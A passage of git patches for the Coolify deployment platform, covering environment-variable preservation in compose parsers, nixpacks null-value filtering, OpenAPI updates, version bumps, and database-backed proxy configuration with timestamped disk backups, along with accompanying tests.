Livewire::test(\App\Livewire\SharedVariables\Team\Index::class) + ->set('variables', 'TEAM_VAR=team_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->team->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('TEAM_VAR') + ->and($vars['TEAM_VAR'])->toBe('team_value'); +}); + +test('environment shared variable dev view updates existing variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'old_value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', 'EXISTING_VAR=new_value') + ->call('submit') + ->assertHasNoErrors(); + + $var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first(); + expect($var->value)->toBe('new_value'); +}); From 7aa744af90a4d2c62012018320909f6243017623 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 06:38:40 +0100 Subject: [PATCH 173/305] chore: prepare for PR --- app/Jobs/ApplicationDeploymentJob.php | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 91c81b6ff..2a4159ff7 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2904,7 +2904,7 @@ private function wrap_build_command_with_env_export(string $build_command): stri private function build_image() { // Add Coolify related variables to the build args/secrets - if (! $this->dockerBuildkitSupported) { + if (! $this->dockerSecretsSupported) { // Traditional build args approach - generate COOLIFY_ variables locally $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { @@ -3515,8 +3515,8 @@ protected function findFromInstructionLines($dockerfile): array private function add_build_env_variables_to_dockerfile() { - if ($this->dockerBuildkitSupported) { - // We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets + if ($this->dockerSecretsSupported) { + // We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag return; } From 88f582225b382fcdfce60611aeeeb99d1b5ca9ca Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 06:47:38 +0100 Subject: [PATCH 174/305] chore: prepare for PR --- resources/views/components/modal-confirmation.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index e77b52076..615512b94 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -94,7 +94,7 @@ } if (this.dispatchAction) { $wire.dispatch(this.submitAction); - return true; + return Promise.resolve(true); } const methodName = this.submitAction.split('(')[0]; From a596ff313edbc27894f067afd9ce8cad503585c5 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 07:04:33 +0100 Subject: [PATCH 175/305] chore: prepare for PR --- bootstrap/helpers/parsers.php | 42 ++++++----- .../ServiceParserEnvVarPreservationTest.php | 69 +++++++++++++++++++ 2 files changed, 95 insertions(+), 16 deletions(-) create mode 100644 tests/Unit/ServiceParserEnvVarPreservationTest.php diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 99ce9185a..85ae5ad3e 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -986,15 +986,17 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int continue; } if ($key->value() === $parsedValue->value()) { - $value = null; - $resource->environment_variables()->firstOrCreate([ + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, ]); + // Add the variable to the environment using the saved DB value + $environment[$key->value()] = $envVar->value; } else { if ($value->startsWith('$')) { $isRequired = false; @@ -1074,7 +1076,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int } else { // Simple variable reference without default $parsedKeyValue = replaceVariables($value); - $resource->environment_variables()->firstOrCreate([ + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $content, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -1082,8 +1084,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'is_preview' => false, 'is_required' => $isRequired, ]); - // Add the variable to the environment - $environment[$content] = $value; + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; } } else { // Fallback to old behavior for malformed input (backward compatibility) @@ -1109,7 +1111,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int if ($originalValue->value() === $value->value()) { // This means the variable does not have a default value $parsedKeyValue = replaceVariables($value); - $resource->environment_variables()->firstOrCreate([ + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $parsedKeyValue, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -1117,7 +1119,8 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int 'is_preview' => false, 'is_required' => $isRequired, ]); - $environment[$parsedKeyValue->value()] = $value; + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; continue; } @@ -2325,16 +2328,18 @@ function serviceParser(Service $resource): Collection continue; } if ($key->value() === $parsedValue->value()) { - $value = null; - $resource->environment_variables()->updateOrCreate([ + // Simple variable reference (e.g. DATABASE_URL: ${DATABASE_URL}) + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, ], [ - 'value' => $value, 'is_preview' => false, 'comment' => $envComments[$originalKey] ?? null, ]); + // Add the variable to the environment using the saved DB value + $environment[$key->value()] = $envVar->value; } else { if ($value->startsWith('$')) { $isRequired = false; @@ -2421,7 +2426,8 @@ function serviceParser(Service $resource): Collection } } else { // Simple variable reference without default - $resource->environment_variables()->updateOrCreate([ + // Use firstOrCreate to avoid overwriting user-saved values on redeploy + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $content, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -2430,6 +2436,8 @@ function serviceParser(Service $resource): Collection 'is_required' => $isRequired, 'comment' => $envComments[$originalKey] ?? null, ]); + // Add the variable to the environment using the saved DB value + $environment[$content] = $envVar->value; } } else { // Fallback to old behavior for malformed input (backward compatibility) @@ -2455,8 +2463,9 @@ function serviceParser(Service $resource): Collection if ($originalValue->value() === $value->value()) { // This means the variable does not have a default value + // Use firstOrCreate to avoid overwriting user-saved values on redeploy $parsedKeyValue = replaceVariables($value); - $resource->environment_variables()->updateOrCreate([ + $envVar = $resource->environment_variables()->firstOrCreate([ 'key' => $parsedKeyValue, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, @@ -2465,12 +2474,13 @@ function serviceParser(Service $resource): Collection 'is_required' => $isRequired, 'comment' => $envComments[$originalKey] ?? null, ]); - // Add the variable to the environment so it will be shown in the deployable compose file - $environment[$parsedKeyValue->value()] = $value; + // Add the variable to the environment using the saved DB value + $environment[$parsedKeyValue->value()] = $envVar->value; continue; } - $resource->environment_variables()->updateOrCreate([ + // Variable with a default value from compose — use firstOrCreate to preserve user edits + $resource->environment_variables()->firstOrCreate([ 'key' => $key, 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, diff --git a/tests/Unit/ServiceParserEnvVarPreservationTest.php b/tests/Unit/ServiceParserEnvVarPreservationTest.php new file mode 100644 index 000000000..3f56447dc --- /dev/null +++ b/tests/Unit/ServiceParserEnvVarPreservationTest.php @@ -0,0 +1,69 @@ +toContain( + "// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n". + " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n". + ' $envVar = $resource->environment_variables()->firstOrCreate(' + ); +}); + +it('does not set value to null for simple variable references in serviceParser', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The old bug: $value = null followed by updateOrCreate with 'value' => $value + // This pattern should NOT exist for simple variable references + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); + +it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // In the balanced brace extraction path, simple variable references without defaults + // should use firstOrCreate to preserve user-saved values + // This appears twice (applicationParser and serviceParser) + $count = substr_count( + $parsersFile, + "// Simple variable reference without default\n". + " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n". + ' $envVar = $resource->environment_variables()->firstOrCreate(' + ); + + expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default'); +}); + +it('populates environment array with saved DB value instead of raw compose variable', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // After firstOrCreate, the environment should be populated with the DB value ($envVar->value) + // not the raw compose variable reference (e.g., ${DATABASE_URL}) + // This pattern should appear in both parsers for all variable reference types + expect($parsersFile)->toContain('// Add the variable to the environment using the saved DB value'); + expect($parsersFile)->toContain('$environment[$key->value()] = $envVar->value;'); + expect($parsersFile)->toContain('$environment[$content] = $envVar->value;'); +}); + +it('does not use updateOrCreate with value null for user-editable environment variables', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value + // This overwrites user-saved values with null on every deploy + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); From babc9ff658863e47888378f7228c5cec47f3a142 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 07:10:32 +0100 Subject: [PATCH 176/305] chore(release): bump version to 4.0.0-beta.466 --- config/constants.php | 2 +- versions.json | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/config/constants.php b/config/constants.php index 85322a928..bb6efb983 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.465', + 'version' => '4.0.0-beta.466', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/versions.json b/versions.json index 77c228847..10b85e0e6 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.465" + "version": "4.0.0-beta.466" }, "nightly": { - "version": "4.0.0-beta.466" + "version": "4.0.0-beta.467" }, "helper": { "version": "1.0.12" From 76084ce69ba5e4dee791587b183d9c69e98eb520 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 08:57:12 +0100 Subject: [PATCH 177/305] chore: prepare for PR --- app/Jobs/ApplicationDeploymentJob.php | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 2a4159ff7..a41355966 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2777,9 +2777,10 @@ private function generate_healthcheck_commands() { // Handle CMD type healthcheck if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { - $this->full_healthcheck_url = $this->application->health_check_command; + $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); + $this->full_healthcheck_url = $command; - return $this->application->health_check_command; + return $command; } // HTTP type healthcheck (default) From b926f238242f7127cd4d399400d660f4124b0848 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 12:01:02 +0100 Subject: [PATCH 178/305] version++ --- config/constants.php | 2 +- openapi.json | 27 +++++++++++++++++++++++++++ openapi.yaml | 21 +++++++++++++++++++++ other/nightly/versions.json | 10 +++++----- versions.json | 4 ++-- 5 files changed, 56 insertions(+), 8 deletions(-) diff --git a/config/constants.php b/config/constants.php index bb6efb983..0fc20fbc3 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.466', + 'version' => '4.0.0-beta.467', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/openapi.json b/openapi.json index 69f5ef53d..849dee363 100644 --- a/openapi.json +++ b/openapi.json @@ -3339,6 +3339,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -5864,6 +5873,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -10561,6 +10579,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { diff --git a/openapi.yaml b/openapi.yaml index fab3df54e..226295cdb 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2111,6 +2111,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop application.' @@ -3806,6 +3813,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop database.' @@ -6645,6 +6659,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop service.' diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 1ce790111..565329c00 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,19 +1,19 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.463" + "version": "4.0.0-beta.467" }, "nightly": { - "version": "4.0.0-beta.464" + "version": "4.0.0-beta.468" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.19" } }, "traefik": { @@ -26,4 +26,4 @@ "v3.0": "3.0.4", "v2.11": "2.11.32" } -} \ No newline at end of file +} diff --git a/versions.json b/versions.json index 10b85e0e6..565329c00 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.466" + "version": "4.0.0-beta.467" }, "nightly": { - "version": "4.0.0-beta.467" + "version": "4.0.0-beta.468" }, "helper": { "version": "1.0.12" From a7f491170a9f8fcc0342df9f0779e5420b69c53d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 13:41:34 +0100 Subject: [PATCH 179/305] fix(deployment): filter null and empty environment variables from nixpacks plan When application->fqdn is null, COOLIFY_FQDN and COOLIFY_URL are set to null. These null values cause nixpacks to fail parsing the config with "invalid type: null, expected a string". Filter out null and empty string values when generating environment variables for the nixpacks plan JSON. Fixes #6830. --- app/Jobs/ApplicationDeploymentJob.php | 6 ++- openapi.json | 27 ++++++++++++ openapi.yaml | 21 ++++++++++ ...plicationDeploymentNixpacksNullEnvTest.php | 42 +++++++++++++++++++ 4 files changed, 94 insertions(+), 2 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index a41355966..c80d31ab3 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2196,7 +2196,7 @@ private function clone_repository() $this->create_workdir(); $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit)." --pretty=%B"), + executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit).' --pretty=%B'), 'hidden' => true, 'save' => 'commit_message', ] @@ -2462,7 +2462,9 @@ private function generate_env_variables() $coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true); $coolify_envs->each(function ($value, $key) { - $this->env_args->put($key, $value); + if (! is_null($value) && $value !== '') { + $this->env_args->put($key, $value); + } }); // For build process, include only environment variables where is_buildtime = true diff --git a/openapi.json b/openapi.json index 69f5ef53d..849dee363 100644 --- a/openapi.json +++ b/openapi.json @@ -3339,6 +3339,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -5864,6 +5873,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -10561,6 +10579,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { diff --git a/openapi.yaml b/openapi.yaml index fab3df54e..226295cdb 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2111,6 +2111,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop application.' @@ -3806,6 +3813,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop database.' @@ -6645,6 +6659,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop service.' diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php index bd925444a..c2a8d46fa 100644 --- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php +++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php @@ -236,6 +236,48 @@ expect($envArgs)->toBe(''); }); +it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () { + // This test verifies the fix for GitHub issue #6830: + // When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null + // in generate_coolify_env_variables(). The generate_env_variables() method + // merges these into env_args which become the nixpacks plan JSON "variables". + // Nixpacks requires all variable values to be strings, so null causes: + // "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string" + + // Simulate the coolify env collection with null values (as produced when fqdn is null) + $coolify_envs = collect([ + 'COOLIFY_URL' => null, + 'COOLIFY_FQDN' => null, + 'COOLIFY_BRANCH' => 'main', + 'COOLIFY_RESOURCE_UUID' => 'abc123', + 'COOLIFY_CONTAINER_NAME' => '', + ]); + + // Apply the same filtering logic used in generate_env_variables() + $env_args = collect([]); + $coolify_envs->each(function ($value, $key) use ($env_args) { + if (! is_null($value) && $value !== '') { + $env_args->put($key, $value); + } + }); + + // Null values must NOT be present — they cause nixpacks JSON parse errors + expect($env_args->has('COOLIFY_URL'))->toBeFalse(); + expect($env_args->has('COOLIFY_FQDN'))->toBeFalse(); + expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse(); + + // Non-null values must be preserved + expect($env_args->get('COOLIFY_BRANCH'))->toBe('main'); + expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123'); + + // The resulting array must be safe for json_encode into nixpacks config + $json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT); + $parsed = json_decode($json, true); + foreach ($parsed['variables'] as $value) { + expect($value)->toBeString(); + } +}); + it('preserves environment variables with zero values', function () { // Mock application with nixpacks build pack $mockApplication = Mockery::mock(Application::class); From 6488751fd2c65706c03abf5b34d5db6961dcf88d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 14:11:31 +0100 Subject: [PATCH 180/305] feat(proxy): add database-backed config storage with disk backups - Store proxy configuration in database as primary source for faster access - Implement automatic timestamped backups when configuration changes - Add backfill migration logic to recover configs from disk for legacy servers - Simplify UI by removing loading states (config now readily available) - Add comprehensive logging for debugging configuration generation and recovery - Include unit tests for config recovery scenarios --- app/Actions/Proxy/GetProxyConfiguration.php | 52 +++++++-- app/Actions/Proxy/SaveProxyConfiguration.php | 36 ++++-- app/Livewire/Server/Proxy.php | 1 + bootstrap/helpers/proxy.php | 8 ++ .../views/livewire/server/proxy.blade.php | 54 ++++----- tests/Unit/ProxyConfigRecoveryTest.php | 109 ++++++++++++++++++ 6 files changed, 210 insertions(+), 50 deletions(-) create mode 100644 tests/Unit/ProxyConfigRecoveryTest.php diff --git a/app/Actions/Proxy/GetProxyConfiguration.php b/app/Actions/Proxy/GetProxyConfiguration.php index 3aa1d8d34..de44b476f 100644 --- a/app/Actions/Proxy/GetProxyConfiguration.php +++ b/app/Actions/Proxy/GetProxyConfiguration.php @@ -4,6 +4,7 @@ use App\Models\Server; use App\Services\ProxyDashboardCacheService; +use Illuminate\Support\Facades\Log; use Lorisleiva\Actions\Concerns\AsAction; class GetProxyConfiguration @@ -17,28 +18,31 @@ public function handle(Server $server, bool $forceRegenerate = false): string return 'OK'; } - $proxy_path = $server->proxyPath(); $proxy_configuration = null; - // If not forcing regeneration, try to read existing configuration if (! $forceRegenerate) { - $payload = [ - "mkdir -p $proxy_path", - "cat $proxy_path/docker-compose.yml 2>/dev/null", - ]; - $proxy_configuration = instant_remote_process($payload, $server, false); + // Primary source: database + $proxy_configuration = $server->proxy->get('last_saved_proxy_configuration'); + + // Backfill: existing servers may not have DB config yet — read from disk once + if (empty(trim($proxy_configuration ?? ''))) { + $proxy_configuration = $this->backfillFromDisk($server); + } } - // Generate default configuration if: - // 1. Force regenerate is requested - // 2. Configuration file doesn't exist or is empty + // Generate default configuration as last resort if ($forceRegenerate || empty(trim($proxy_configuration ?? ''))) { - // Extract custom commands from existing config before regenerating $custom_commands = []; if (! empty(trim($proxy_configuration ?? ''))) { $custom_commands = extractCustomProxyCommands($server, $proxy_configuration); } + Log::warning('Proxy configuration regenerated to defaults', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'reason' => $forceRegenerate ? 'force_regenerate' : 'config_not_found', + ]); + $proxy_configuration = str(generateDefaultProxyConfiguration($server, $custom_commands))->trim()->value(); } @@ -50,4 +54,30 @@ public function handle(Server $server, bool $forceRegenerate = false): string return $proxy_configuration; } + + /** + * Backfill: read config from disk for servers that predate DB storage. + * Stores the result in the database so future reads skip SSH entirely. + */ + private function backfillFromDisk(Server $server): ?string + { + $proxy_path = $server->proxyPath(); + $result = instant_remote_process([ + "mkdir -p $proxy_path", + "cat $proxy_path/docker-compose.yml 2>/dev/null", + ], $server, false); + + if (! empty(trim($result ?? ''))) { + $server->proxy->last_saved_proxy_configuration = $result; + $server->save(); + + Log::info('Proxy config backfilled to database from disk', [ + 'server_id' => $server->id, + ]); + + return $result; + } + + return null; + } } diff --git a/app/Actions/Proxy/SaveProxyConfiguration.php b/app/Actions/Proxy/SaveProxyConfiguration.php index 53fbecce2..bcfd5011d 100644 --- a/app/Actions/Proxy/SaveProxyConfiguration.php +++ b/app/Actions/Proxy/SaveProxyConfiguration.php @@ -9,19 +9,41 @@ class SaveProxyConfiguration { use AsAction; + private const MAX_BACKUPS = 10; + public function handle(Server $server, string $configuration): void { $proxy_path = $server->proxyPath(); $docker_compose_yml_base64 = base64_encode($configuration); + $new_hash = str($docker_compose_yml_base64)->pipe('md5')->value; - // Update the saved settings hash - $server->proxy->last_saved_settings = str($docker_compose_yml_base64)->pipe('md5')->value; + // Only create a backup if the configuration actually changed + $old_hash = $server->proxy->get('last_saved_settings'); + $config_changed = $old_hash && $old_hash !== $new_hash; + + // Update the saved settings hash and store full config as database backup + $server->proxy->last_saved_settings = $new_hash; + $server->proxy->last_saved_proxy_configuration = $configuration; $server->save(); - // Transfer the configuration file to the server - instant_remote_process([ - "mkdir -p $proxy_path", - "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null", - ], $server); + $backup_path = "$proxy_path/backups"; + + // Transfer the configuration file to the server, with backup if changed + $commands = ["mkdir -p $proxy_path"]; + + if ($config_changed) { + $short_hash = substr($old_hash, 0, 8); + $timestamp = now()->format('Y-m-d_H-i-s'); + $backup_file = "docker-compose.{$timestamp}.{$short_hash}.yml"; + $commands[] = "mkdir -p $backup_path"; + // Skip backup if a file with the same hash already exists (identical content) + $commands[] = "ls $backup_path/docker-compose.*.$short_hash.yml 1>/dev/null 2>&1 || cp -f $proxy_path/docker-compose.yml $backup_path/$backup_file 2>/dev/null || true"; + // Prune old backups, keep only the most recent ones + $commands[] = 'cd '.$backup_path.' && ls -1t docker-compose.*.yml 2>/dev/null | tail -n +'.((int) self::MAX_BACKUPS + 1).' | xargs rm -f 2>/dev/null || true'; + } + + $commands[] = "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null"; + + instant_remote_process($commands, $server); } } diff --git a/app/Livewire/Server/Proxy.php b/app/Livewire/Server/Proxy.php index 1a14baf89..d5f30fca0 100644 --- a/app/Livewire/Server/Proxy.php +++ b/app/Livewire/Server/Proxy.php @@ -51,6 +51,7 @@ public function mount() $this->redirectEnabled = data_get($this->server, 'proxy.redirect_enabled', true); $this->redirectUrl = data_get($this->server, 'proxy.redirect_url'); $this->syncData(false); + $this->loadProxyConfiguration(); } private function syncData(bool $toModel = false): void diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index ac52c0af8..cf9f648bb 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -4,6 +4,7 @@ use App\Enums\ProxyTypes; use App\Models\Application; use App\Models\Server; +use Illuminate\Support\Facades\Log; use Symfony\Component\Yaml\Yaml; /** @@ -215,6 +216,13 @@ function extractCustomProxyCommands(Server $server, string $existing_config): ar } function generateDefaultProxyConfiguration(Server $server, array $custom_commands = []) { + Log::info('Generating default proxy configuration', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'custom_commands_count' => count($custom_commands), + 'caller' => debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[1]['class'] ?? 'unknown', + ]); + $proxy_path = $server->proxyPath(); $proxy_type = $server->proxyType(); diff --git a/resources/views/livewire/server/proxy.blade.php b/resources/views/livewire/server/proxy.blade.php index 8bee1a166..e7bfc151c 100644 --- a/resources/views/livewire/server/proxy.blade.php +++ b/resources/views/livewire/server/proxy.blade.php @@ -1,7 +1,7 @@ @php use App\Enums\ProxyTypes; @endphp
@if ($server->proxyType()) -
+
@if ($selectedProxy !== 'NONE')
@@ -55,24 +55,19 @@

{{ $proxyTitle }}

@can('update', $server) -
- Reset Configuration -
-
- @if ($proxySettings) - - - @endif -
+ @if ($proxySettings) + + + @endif @endcan @if ($server->proxyType() === ProxyTypes::TRAEFIK->value)
@endif -
- -
-
- @if ($proxySettings) -
- -
- @endif -
+ @if ($proxySettings) +
+ +
+ @endif @elseif($selectedProxy === 'NONE')
diff --git a/tests/Unit/ProxyConfigRecoveryTest.php b/tests/Unit/ProxyConfigRecoveryTest.php new file mode 100644 index 000000000..219ec9bca --- /dev/null +++ b/tests/Unit/ProxyConfigRecoveryTest.php @@ -0,0 +1,109 @@ +shouldReceive('get') + ->with('last_saved_proxy_configuration') + ->andReturn($savedConfig); + + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes); + $server->shouldReceive('getAttribute')->with('id')->andReturn(1); + $server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server'); + $server->shouldReceive('proxyType')->andReturn('TRAEFIK'); + $server->shouldReceive('proxyPath')->andReturn('/data/coolify/proxy'); + + return $server; +} + +it('returns OK for NONE proxy type without reading config', function () { + $server = Mockery::mock('App\Models\Server'); + $server->shouldIgnoreMissing(); + $server->shouldReceive('proxyType')->andReturn('NONE'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe('OK'); +}); + +it('reads proxy configuration from database', function () { + $savedConfig = "services:\n traefik:\n image: traefik:v3.5\n"; + $server = mockServerWithDbConfig($savedConfig); + + // ProxyDashboardCacheService is called at the end — mock it + $server->shouldReceive('proxyType')->andReturn('TRAEFIK'); + + $result = GetProxyConfiguration::run($server); + + expect($result)->toBe($savedConfig); +}); + +it('preserves full custom config including labels, env vars, and custom commands', function () { + $customConfig = <<<'YAML' +services: + traefik: + image: traefik:v3.5 + command: + - '--entrypoints.http.address=:80' + - '--metrics.prometheus=true' + labels: + - 'traefik.enable=true' + - 'waf.custom.middleware=true' + environment: + CF_API_EMAIL: user@example.com + CF_API_KEY: secret-key +YAML; + + $server = mockServerWithDbConfig($customConfig); + + $result = 